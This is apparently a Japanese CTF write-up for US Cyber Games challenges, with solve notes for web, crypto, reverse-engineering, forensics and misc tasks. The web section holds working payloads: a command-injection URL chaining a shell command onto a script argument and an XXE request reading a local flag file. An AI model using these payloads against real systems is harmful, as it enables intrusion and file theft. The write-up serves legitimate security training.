web
Control Panel
@app.route("/", methods=["GET"])
def index():
command = request.args.get("command")
if not command:
return render_template("index.html")
arg = request.args.get("arg")
if not arg:
arg = ""
if command == "list_processes":
return getoutput("ps")
elif command == "list_connections":
return getoutput("netstat -tulpn")
elif command == "list_storage":
return getoutput("df -h")
elif command == "destroy_humans":
return getoutput("/www/destroy_humans.sh " + arg)
普通にshell叩いているように見えたので、 https://uscybercombine-s4-control-panel.chals.io/?command=destroy_humans&arg=destroy_humans%26%ls+/
としたところ確かに表示されたので、B2Rを開始.
/tmp/flag.txtにファイルがありそうに見えたが、cat コマンドがなぜか使えなかったので別方法を探索.
#!/usr/bin/env python3
import subprocess, json
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
def get_json(content):
return json.dumps(content).encode()
def http_server(host_port,content_type="application/json"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
def resp_ok():
self.send_response(200)
self.send_header("Content-type", content_type)
self.end_headers()
if self.path == '/status':
resp_ok()
self.wfile.write(get_json({'status': 'ready to destroy'}))
return
elif self.path == "/destroy":
resp_ok()
self.wfile.write(get_json({'status': "destruction complete!"}))
return
elif self.path == '/shutdown':
resp_ok()
self.wfile.write(get_json({'status': 'shutting down...'}))
self.wfile.write(get_json({'status': 'SIVBGR{no-flag-4-u}'}))
return
self.send_error(404, '404 not found')
def log_message(self, format, *args):
pass
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
http_server(('127.0.0.1',3000))
を見たところ、3000番にflagが出されてそうなのでアクセスしてみたところ、solved.
{"status": "destruction complete!"} % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 100 64 0 64 0 0 53556 0 --:--:-- --:--:-- --:--:-- 64000 {"status": "shutting down..."}{"status": "SIVBGR{g00dby3_ARI4}"}
以上.
Hunt
htmlの下の方に
<!-- Don't forget to check in on the bots! -->
<!-- p1: SIVBGR{r1s3_ -->
robots.txt
Disallow: /secret-bot-spot
p2: 0f_th3_
<script src="/static/js/robot.js"></script>
より
const robot = document.getElementById('robot');
let isMovingUp = true;
function animateRobot() {
if (isMovingUp) {
robot.style.transform = 'translateY(-20px)';
isMovingUp = false;
} else {
robot.style.transform = 'translateY(0)';
isMovingUp = true;
}
}
setInterval(animateRobot, 1000);
以上.
Parts Shop
どうやら、XMLに文字列を埋め込んでいるようだ.
function generateXML(event) {
event.preventDefault();
var name = document.getElementById('name').value;
var author = document.getElementById('author').value;
var image = document.getElementById('image').value;
var description = document.getElementById('description').value;
var payload = '<?xml version="1.0" encoding="UTF-8"?>\n' +
'<part>\n' +
' <name>' + name + '</name>\n' +
' <author>' + author + '</author>\n' +
' <image>' + image + '</image>\n' +
' <description>' + description + '</description>\n' +
'</part>';
fetch("/blueprint", {
method: "POST",
body: payload,
})
.then(res => {
if (res.redirected) {
window.location.href = res.url;
} else if (res.status == 400) {
document.getElementById("error").innerHTML = "Please fill out all required fields.";
}
})
.catch(error => console.error(error));
}
XXEをとりあえずやってみる.
POST /blueprint HTTP/1.1
Host: uscybercombine-s4-parts-shop.chals.io
Cookie: session=eyJ1dWlkIjoiZmNjZWQwMzEtODhmNC00MTAyLTg0MjEtYzNiOGIwNzI3ZWVjIn0.ZlxPrQ.K0zqIZQOyzLBPJgxiOUQleSvSm0
Content-Length: 142
Sec-Ch-Ua: "Not-A.Brand";v="99", "Chromium";v="124"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: https://uscybercombine-s4-parts-shop.chals.io
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://uscybercombine-s4-parts-shop.chals.io/blueprint
Accept-Encoding: gzip, deflate, br
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Priority: u=1, i
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY flag SYSTEM "file:///flag.txt">
]>
<part>
<name>flag2</name>
<author></author>
<image></image>
<description>&flag; is flag
</description>
</part>
flag2
Created by: undefined
SIVBGR{fu11y_upgr4d3d} is flag
crypto
Prime Time
Nが十分に大きくない.
from Crypto.Util.number import getPrime, long_to_bytes, bytes_to_long
#Your encrypted flag:
#c:
c= 67901295092999403377812474031753022640207373798290839976120254385637043193411358791915464230611073615341268787302565972547452757697916207952702288626173819641234095639259743277146365018265212857092237457393449677065307951821155969047439248276581778411840300731922481525641974287306159852931109413442675622573
# Public Key:
# n:
N= 98813858186636016061828413291587334532178109240417756890955763078740391019450718373743031325554048662069578591495075978203742992839688516726192682096525494907367614705518833413598767554267177141399324414271413882430512533175133684772034149758259287505147508079731874384109521277000217376431320424120947279649
#p:
p= 10982649839305281359093240091231892576733401067753111072429500083504978610994787471724765658823614458122443035638808449338442889570184467486237572144698783
#q:
q= 8997269295884843284681982750060377872478356391734956728242353212469576051387114547220167685859751845030095832125183195971175109609583065893432498097335103
#e:
e = 65537
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
def encrypt(plaintext):
m = bytes_to_long(plaintext)
c = pow(m, e, N)
cipher = long_to_bytes(c)
return cipher
def decrypt(cipher):
#ci = bytes_to_long(cipher)
ci = cipher
m = pow(ci, d, N)
plaintext = long_to_bytes(m)
return plaintext
print(decrypt(c))
What’s diffie
Python 3.12.3 (main, Apr 15 2024, 17:48:16) [MSC v.1929 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> g = 12
>>> p = 53
>>> a = 8
>>> b = 67
>>> A=(g ** a) % p
>>> B=(g ** b) % p
>>> print(A, b)
10 67
>>> print(A, B)
10 26
>>> KA = (B **a) % p
>>> KB = (A ** b) % p
>>> print(K_A, K_B)
>>> print(KA, KB)
47 47
>>> l=[0x7c,0x66,0x79,0x6d,0x68,0x7d,0x54,0x1b,0x70,0x49,0x43,0x1b,0x48,0x70,0x49,0x5d,0x1f,0x42,0x70,0x1b,0x43,0x1e,0x4c,0x1c,0x70,0x1b,0x41,0x4b,0x70,0x4d,0x1f,0x4d,0x52]
>>> m=[47 ^ c for c in l]
>>> m=[chr(47 ^ c) for c in l]
>>> print(m)
['S', 'I', 'V', 'B', 'G', 'R', '{', '4', '_', 'f', 'l', '4', 'g', '_', 'f', 'r', '0', 'm', '_', '4', 'l', '1', 'c', '3', '_', '4', 'n', 'd', '_', 'b', '0', 'b', '}']
rev
Flag Checker
- origin
phoneSteak = [55, 33, 52, 40, 35, 56, 86, 90, 66, 111, 81, 26, 23, 75, 109, 26, 88, 90, 75, 67, 92, 25, 87, 88, 92, 84, 23, 88]
libraryDiscussion = input("Enter the flag: ")
confusedSheep = [ord(herdSlot) for herdSlot in libraryDiscussion]
mintFarm = len(confusedSheep)
trustBreed = len(phoneSteak)
seaTent = 6
callCover = 17
foxEmbox = (248 // trustBreed) % trustBreed
outfitStrike = 10
brushCopy = (341 // trustBreed) % 17
injectPush = (1240 + 28 // trustBreed) % trustBreed
makeupRoof = []
tinRoyalty = []
if trustBreed == mintFarm:
for heartCool in confusedSheep:
makeupRoof.append(heartCool - 27)
for angelStay in makeupRoof:
tinRoyalty.append(angelStay ^ 15)
franchisePath = tinRoyalty[seaTent]
tinRoyalty[seaTent] = tinRoyalty[injectPush]
tinRoyalty[injectPush] = franchisePath
eastGhostwriter = tinRoyalty[outfitStrike]
tinRoyalty[outfitStrike] = tinRoyalty[foxEmbox]
tinRoyalty[foxEmbox] = eastGhostwriter
personPioneer = tinRoyalty[callCover]
tinRoyalty[callCover] = tinRoyalty[brushCopy]
tinRoyalty[brushCopy] = personPioneer
lineMoon = tinRoyalty[0 : len(tinRoyalty) // 2]
puddingCommission = tinRoyalty[len(tinRoyalty) // 2 : len(tinRoyalty)]
furRegret = lineMoon + puddingCommission[::-1]
tinRoyalty = furRegret
if tinRoyalty == phoneSteak:
print("Correct!! :)")
else:
print("Incorrect flag :(")
else:
print("Incorrect :(")
- formatted
hardcode = [55, 33, 52, 40, 35, 56, 86, 90, 66, 111, 81, 26, 23, 75, 109, 26, 88, 90, 75, 67, 92, 25, 87, 88, 92, 84,
23, 88]
input_flag = input("Enter the flag: ")
input_hex = [ord(c) for c in input_flag]
input_length = len(input_hex)
hardcode_length = len(hardcode) # 28
i: int = 6
j = (1240 + 28 // hardcode_length) % hardcode_length
k = 10
l = (248 // hardcode_length) % hardcode_length
m: int = 17
n = (341 // hardcode_length) % 17
print(i, j, k, l, m, n)
print([chr((c^15)+ 27) for c in hardcode])
makeupRoof = []
input_chars = []
if hardcode_length == input_length:
for inn in input_hex:
makeupRoof.append(inn - 27)
for outt in makeupRoof:
input_chars.append(outt ^ 15)
temp1 = input_chars[i]
input_chars[i] = input_chars[j]
input_chars[j] = temp1
temp2 = input_chars[k]
input_chars[k] = input_chars[l]
input_chars[l] = temp2
temp3 = input_chars[m]
input_chars[m] = input_chars[n]
input_chars[n] = temp3
zenhan = input_chars[0: len(input_chars) // 2]
kouhan = input_chars[len(input_chars) // 2: len(input_chars)]
furRegret = zenhan + kouhan[::-1]
input_chars = furRegret
print(input_chars)
print([chr(c) for c in input_chars])
if input_chars == hardcode:
print("Correct!! :)")
else:
print("Incorrect flag :(")
else:
print("Incorrect :(")
- 28文字をinputとして受け取り
- inputの各文字からhexで27減算
- hard_codedの各文字のhexを15 xor
- 6< - >9, 10< - >8, 17< - > 12と入れ替え
- 前半と後半で分け、後半を逆順
- 一致をチェック
答えを逆に探知すればいいので、exploitは以下の手順.
orig = [chr((c^15)+27) for c in hardcode]
temp1 = orig[i]
orig[i] = orig[j]
orig[j] = temp1
temp1 = orig[k]
orig[k] = orig[l]
orig[l] = temp1
temp1 = orig[m]
orig[m] = orig[n]
orig[n] = temp1
temp1 = orig[0: 14]
temp2 = orig[14:28]
ok = temp1 + temp2[::-1]
print(ok)
SIVBGR{pyth0n_r3v3rs1ng_pr0}
mathrev
bool checkflag(char *input)
{
size_t len;
int i;
for (i = 0; (len = strlen(input), (ulong)(long)i < len && (i < 31)); i = i + 1) {
if ((&flagCheck)[i] + (int)input[i] != 0x80) {
return false;
}
}
len = strlen(input);
return len == 31;
}
これを解釈してやると以下の通り.
input[i] + &flagcheck[i] == 128 ==> ok
input[i] == 128 - flagcheck[i] // <- やるだけ
ghidraのcopy specialという機能を使うと便利.
exploit
l = [ 0x2d, 0x37, 0x2a, 0x3e, 0x39, 0x2e, 0x05, 0x0a, 0x4d, 0x0e, 0x07, 0x21, 0x1c, 0x4f, 0x1a, 0x1a, 0x4f, 0x1d, 0x0b, 0x14, 0x0c, 0x21, 0x10, 0x1f, 0x0d, 0x0d, 0x09, 0x50, 0x0e, 0x1c, 0x03 ]
print([chr(128 - c)for c in l])
# SIVBGR{v3ry_d1ff1cult_passw0rd}
forensics
Secret
pdf2textを行うと以下.
Date: 08-16-1969
Extra-terrestrial life confirmed :
After the quarantine period was completed ALIENT INVESTIGATION UNIT
members Neil Armstrong Edwin Aldrin and Michael Collins were
interrogated – confirming the presence of Extra-Terrestrial Life
(ELF).
Gen Stills orders are as follows: Do not allow the population to
learn of the ELFs. The astronauts involved are immediately to be
briefed on the consequences of sharing information about these
matters to the public.
Additionally, the ALIENT INVESTIGATION UNIT has been granted an extra
300,000,000 for the continued investigation and containment of ELFs.
At the moment, it is believed they intend no harm. The question of
why they have traveled to Earth remains unanswered at the present
time. As such, extreme caution will be taken. Any ELF spotted should
be captured – failing that, it should be exterminated.
**FLAG: SIVBGR{C0nta1n_Th3_Al13ns}**
MISC
Super Duper Quick Maths
pwntoolsの練習としてかなりよさそう.
┌──(kali㉿YM-DEFINE7-HOME)-[/mnt/…/2024/ctf/uscybergames/fanum_tax]
└─$ nc 167.99.118.184 31340
Solve my math test and you'll get my flag
But I was told you were really fast a math, 200 questions
So you only have 3 seconds per question >:)
1 + 18
19
Great job 0!
47 * 5
Time's up! Sorry!
┌──(kali㉿YM-DEFINE7-HOME)-[/mnt/…/2024/ctf/uscybergames/fanum_tax]
└─$ nc 167.99.118.184 31340
Solve my math test and you'll get my flag
But I was told you were really fast a math, 200 questions
So you only have 3 seconds per question >:)
43 - 29
14
Great job 0!
43 - 16
2
Time's up! Sorry!
┌──(kali㉿YM-DEFINE7-HOME)-[/mnt/…/2024/ctf/uscybergames/fanum_tax]
└─$ nc 167.99.118.184 31340
Solve my math test and you'll get my flag
But I was told you were really fast a math, 200 questions
So you only have 3 seconds per question >:)
46 * 13
Time's up! Sorry!
┌──(kali㉿YM-DEFINE7-HOME)-[/mnt/…/2024/ctf/uscybergames/fanum_tax]
└─$ nc 167.99.118.184 31340
Solve my math test and you'll get my flag
But I was told you were really fast a math, 200 questions
So you only have 3 seconds per question >:)
38 - 12
26
Great job 0!
4 + 24
28
Great job 1!
36 + 22
58
Great job 2!
24 - 50
-26
Great job 3!
13 // 38
Time's up! Sorry!
3秒以内にこたえないと終了、合計200問出るらしい.演算子的にpythonで行けそうに見えたのでevalしてみたらsolved.
exploit.py
from pwn import *
context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
HOST = "167.99.118.184"
PORT = 31340
io = remote(HOST, PORT)
io.recvuntil(b'question >:)\n')
for i in range(1,201):
q = io.recvline().decode('utf-8')
io.sendline(str(eval(q)))
io.recvline()
一時問題が落ちてたが、mathの問題数が多すぎるんじゃね?とは思った.
certified
抽出してRSA鍵として登録
wiresharkってこんな機能あるんだ.へー